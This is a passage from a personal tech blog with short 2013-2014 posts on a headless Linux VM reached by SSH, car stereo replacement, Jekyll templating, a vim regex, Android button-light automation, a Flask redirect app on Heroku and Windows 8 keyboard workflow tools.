The biggest lesson from this adventure for me is that Optimum is a miserable lot, but probably the same as most cable providers. The layers of unnecessary difficulty they imposed make me unsure of how solid a decision this was.

I might get lucky and turn out to just have a faulty tuning adapter, but this could be a real pain.

Of course, the best course of action when it comes to TV would be to cut the cable entirely.

Seamless Linux VM

2014-07-13T00:00:00+00:00

OS X is a popular environment for Computer Science students, as is Windows to a lesser extent, but both fall short or make life unnecessarily hard when it comes to the lower level C programming required by the curriculum. Surprises like line endings and little deviations from POSIX can be a pain to track down. For these classes, Linux is almost mandatory. For this there are three solutions:

Dual Boot

The most straightforward and obvious solution is to install Linux. Not always an option, though, as some computers have unsupported hardware that can cause no end of problems on their own.

And, of course, some people are afraid of making the switch. I’m no fan of pushing uneasy people into this sort of deal, unless I’m confident they’ll be able to get prompt help as needed.

SSH

I’ve seen some people solve this problem by SSHing into the school’s Linux machines and working from there. That solution seems terribly unpleasant, considering the dated software selection and the dependence on a stable internet connection from a laptop.

VM

Instead of installing to the system, installing Ubuntu inside VirtualBox. This yields a fully functional Linux desktop, constrained inside a window on the native OS X or Windows desktop. While this provides the full functionality of an install with the security of reverting everything with a click of the mouse, running a full desktop in a full desktop unsurprisingly leads to fairly high resource consumption.

Also, there’s the non trivial awkwardness of having to work inside a different environment where your regular window management workflow has no bearing. VirtualBox offers a “Seamless Mode” setting where it hides the virtual machine and mixes the guest applications in with the host’s, but this still requires the guest to render the applications. This also didn’t work with my Windows 8 window management setup.

VM SSH

The solution I came up with, back when I was using Windows for hardware reasons, is kinda cool: I ran a lightweight Linux installation in a VM with an SSH server, and connected to that.

Installing

Installation of the Linux guest is standard. I installed Arch Linux, a super barebones distribution, though Ubuntu Server would do the trick too. The important thing here is we’re looking for essentially a headless system that doesn’t even run an X server.

Port Forwarding

Once the Linux guest is installed and running the ssh daemon, you forward one of your host ports to guest port 22, conventionally used for ssh.

Connect

Next, ssh in:

ssh [user]@localhost -p [host port]

Pictured here is Cygwin, a set of UNIX tools for Windows, which I already had installed, otherwise Cmder is probably easiest.

At this point, you have a native Windows application offering a full Linux terminal, package manager and all. Since there’s no full desktop, this ends up being rather lightweight – my setup ran at under 100 Mb RAM.

But, it’s running on its own virtual drive, which means files on the VM and files on the host are isolated.

Shared /home/

Using VirtualBox’s Shared Folders feature, I shared my Windows home directory with the guest, and within the guest used it as my home directory. This means that the VM can now access all of my files, notably my workspace. This also means shared dotfiles across host and guest for convenient preconfiguration.

As a caveat, this also means shared SSH keys. I never figured out how to ssh in to the VM from the host.

Car Stereo Receiver Replacement

2014-07-07T00:00:00+00:00

A few months back I replaced the stereo receivers in a 10 and a 20 year old family car. Fed up with the lack of auxillary input (or even CD player, on the older one), I started on what would end up being a rather straightforward project.

Shopping

I ordered all my stuff from Amazon, because Prime shipping is awesome. Shopping ended up being the hardest part for me, because I wasn’t sure about compatibility or even what harware was required. Hence this.

Receiver

Receiver units follow an ISO standard for sizes, which means your car takes one of two sizes: single or double DIN. A single DIN is about two inches tall.

If you’ve got a double slotted opening, either get a double height receiver, or a cheap mounting unit for a single slot sized device. I went with this receiver, as the cheapest thing I could find with an auxillary input.

Wiring Harness

Though the receiver sizes may be standardized, the wiring isn’t. The receiver has a bunch of wires leading out, but the dashboard expects a rectangular plug. You’ll want to pick up a Metra Wiring Harness for your make and model. Amazon is pretty nice for this sort of thing, letting you filter by compatibility with your vehicle.

More?

The older car needed a special adapter for its non-standard radio. Never got that working (I don’t really miss it), but that means you should look around and see if you can find any model-specific quirks.

Installing

Soldering

To wire up the receiver and wiring harness, you gotta solder. Everything’s color coded, so it’s pretty self explanatory. Unless you don’t know how to solder, in which case pick up a cheap kit like this one and get learnin’.

Strip the coating from the wires, intertwine the exposed ends, get a nice dollop on there and let it cool. Insulate with electrical tape or the likes.

Time for some open-heart surgery

This part can vary widely from car to car, so you’ll need to look for guides on receiver installation for yours, perhaps with some help from the fine chaps over at YouTube. For one car I had to remove the entire dash, for the other I was able to unscrew just the receiver (but set off the anti-theft alarm midway).

Pop the hood and unplug the battery before starting, of course.

After freeing it, the old receiver should slide out with some encouragement, at which point you can swap the cable plugs and slide the new in. Daiylight and an extra pair of hands to hold the receiver while you grope around for the cables would be handy, though I ended up doing it alone in the dark because I couldn’t wait.

Close it up, reconnect the power, engine on, and hope for the best.

Done

I’m far from being competant at auto maintenance (this was my first time under the hood, even), but this project was pretty approachable, cheap (<$100) and requires minimal tools – once you’ve figured out what parts you need.

Project Showcase with YAML and Liquid

2014-04-29T00:00:00+00:00

When I remade my website with Jekyll last week, I made a project showcase page (check it out in the sidebar!). In under twenty lines of code, I built a system for programmatically display a list of projects with descriptions, and look nice doing it.

YAML

Jekyll uses YAML, a human readable data format like JSON, for configuration. My system reads the data to display from a file projects.yml, stored in _data/.

The syntax is pretty self explanatory:

- name: "Project 1"
  url: https://example.com
  description: "A short description"
  image: https://example.com/optional.png

- name: "Project 2"
  url: https://example.com
  description: "
  Descriptions can span
  several lines and
  include <b>HTML</b>
  "
  prize: "Best Example of YAML"

Liquid

Jekyll also uses Liquid Templating for compile-time HTML generation, allowing for some pretty powerful stuff. I use GitHub Pages for hosting, which means on every push, the project page (and everything, really) is regenerated.

Liquid Templates provides conditional logic through the {% %} tags, and text-resolving markup with the {{ }} tags.

The relevant source for the page in question:

{% for project in site.data.projects %}
	<div class="box css3-shadow">
		{% if project.image %}
			<a href="{{project.url}}">
				<img class="image-rounded" src="{{project.image}}">
			</a>
		{% endif %}
		<h3><a href="{{project.url}}">{{project.name}}</a></h3>
		{{project.description}}
		{% if project.prize %}
			<br><i class="fa fa-trophy fa-lg"></i> {{project.prize}}
		{% endif %}
	</div>
{% endfor %}

For each entry in the YAML file, I make a div (styled with the first CSS I found – I’m not great at CSS). If we defined an image, insert that image, linking to the URL. A title linking to the URL and the description follow. If a prize was defined, display a Font-Awesome trophy icon followed by the text.

Claiming an Inactive GitHub Account

2014-02-25T00:00:00+00:00

I recently found out that GitHub has a Name Squatting Policy whereby inactive accounts will be removed upon request. This means that nice short handle someone claimed years ago and never used could be yours, assuming the account doesn’t have loads of private activity.

Considerations

After changing my account name, I had to update my domain settings to properly point to this website (hosted through github pages), and update the github pages repository to regenerate under this address.

URL’s to your repositories will be properly forwarded, but your old account page will not forward to the new one. Remember to update any public references!

Stripping HTML with Regex

2014-02-10T00:00:00+00:00

I wanted to strip every set of angle brackets in a file, and googling just reminded me that you can’t parse HTML with regex.

The vim command for this would be

:%s/\(<[^>]*>\)\+/\r/g

which replaces any amount of angle brackets with a carriage return.

User level Button Light Notifications in Android

2014-01-15T00:00:00+00:00

On my phone, the HTC One X, the manufacturer chose to forgo the standard Android device notification LED. This, combined with a screen that’s slow to turn on, makes checking for notifications unnecesarily tedious.

My phone does have hardware buttons, though, which can be controlled using a root shell command.

Tasker is a versatile Android automation tool. I use it for, among other things, automatically silencing my phone during lectures.

In this case, a simple profile suffices:

#On incoming notification:
#Run root shell:
	echo 10 > /sys/devices/platform/msm_ssbi.0/pm8921-core/pm8xxx-led/leds/button-backlight/currents

(note that you’ll neeed to enable Tasker Accessibility service in settings in order to trigger on notifications)

This command sets the brightness of the button backlight (values greater or less than 10 would be brighter or fainter). Upon change of brightness, the buttons will stay lit until they are explicitly turned off – which the system takes care of the next time the screen comes on.

While the exact file path may change between devices, I’d hazard it’s mostly the same for hardware-buttoned devices.

Making a Memorable Dropbox Public File Redirect with Flask

2013-11-15T00:00:00+00:00

Files stored in your Dropbox Public folder are viewable by anyone with access to the URL, which is long and hard to remember but unique. Flask is a microframework for making lightweight dynamic websites in Python. In this post, I’ll be demonstrating how to make a simple webapp with Flask that redirects requests to your Dropbox public folder, and hosting it.

Finding your user constant

Every file in your Public folder is available at the URL https://dl.dropbox.usercontent.com/u/[user constant]/[filename]. To find your user constant, open your Dropbox Public folder, right click on a file, select Dropbox > Copy Public Link, and paste into a text editor.

Writing the app

Uncomment line 2, and define USER_CONSTANT to be the constant number you found previously.

Lines 6-8 return usage message if the app is accessed without a filename, lines 10-12 redirect to the file with the specified name in your Public folder if /[filename] is accessed, and the other lines import and run Flask. That’s it!

Hosting the app

While you could run this app locally, it’s not exceptionally useful limited to your computer. To host it for free, we’ll use Heroku. Heroku uses git to deploy your code. Make an account and create a new app, with a short, memorable name. It’ll generate a customized git clone command. Run it in your terminal:

git clone git@heroku.com:[your app name].git -o heroku

cd [your app name]

Copy app.py to this directory, then we have to make two more files for Heroku to know what to do with our app.

The Procfile tells Heroku how to run our app. In this case, by running app.py

requirements.txt lists all the packages our app depends on, which Heroku will install at compiletime.

Now, add these three files to the repository, commit, and push:

git add app.py Procfile requirements.txt

git commit -m "Initial Commit"

git push heroku master

Wait for compilation to finish, then check on your app at http://[your app name].herokuapp.com/. If you see the usage message, it works! Now you can use the simpler http://[your app name].herokuapp.com/[filename] to access your Public files.

Keyboard Centered Workflow on Windows 8

2013-11-09T00:00:00+00:00

Over the summer at my internship, I ran into some trouble with my laptop’s wireless under Arch Linux. Every five to ten minutes, the connection would cut out entirely and the SSID would disappear from the list, reappearing after ten minutes of refreshing. None of my coworkers were having any trouble with their linux wireless, and I could connect fine to any other network. After a few days of troubleshooting (reading forum threads is slightly complicated by a lack of stable connection), I decided I’d have to go back to Windows.

Out of the box, Windows is pretty terrible for development, especially coming from a tiling window manager on Linux. With some third-party software, though, Windows can be pretty …alright.

Virtual Desktops

The single biggest feature I miss in Windows, and one that any sane environment has, is virtual desktops. The idea is straightforward: instead of having a single desktop holding all of your running applications, you have multiple “workspaces” between which you split them, useful if you intend on ever doing more than one thing at a time.

To this end, I have Dexpot set up with the following basic keybindings: Alt-[number] to switch to that desktop, and Alt-Shift-[number] to move the active window to that desktop. I also enabled the Taskbar Pager plugin for a nice visual indicator.

With virtual desktops, I find I have far fewer windows per desktop, so I don’t need the window grouping introduced in 7. Taskbar > Properties > Taskbar buttons: Combine when taskbar full, and Use small taskbar buttons for the extra bit of vertical screen space.

Window Tiling

Another killer feature I need in a window manager is the ability to place windows without touching the mouse. Windows 7+ includes the shortcuts Super-[arrow] to place windows half left, half right, or maximized, but that’s rather limited.

Winsplit Revolution is a simple program that provides shortcuts for placing windows into a variety of tile positions. By default, shortcuts are mapped to Ctrl-Alt-[numpad], forming a nine number grid, but since my laptop has no numpad I’ve remapped these to Ctrl-Alt-[left/right] for either side, Super-Alt-[left/right] for the top half of either side, Super-Ctrl-[left/right] for the lower half of either side, and Ctrl-Alt-Down to center. For working with multiple monitors, Ctrl-Alt-n moves a window to the right monitor, and Ctrl-Alt-b moves it to the left.

This makes for quick on-demand tiling, as shown:

Entering a shortcut once will place the window in the respective location, a second will shrink to one third the horizontal screen space, and a third will grow to two thirds the space.

Program Launching

Juggling windows via keyboard would be a lot less effective if I still had to fall back to mouse to launch them, of course. My main two programs, Chrome and Cygwin, I have pinned to the taskbar, making them accessible with Super-[1/2].

For everything else, the application launcher Launchy (also available through Ninite), bound to Alt-Space, can handle files and programs.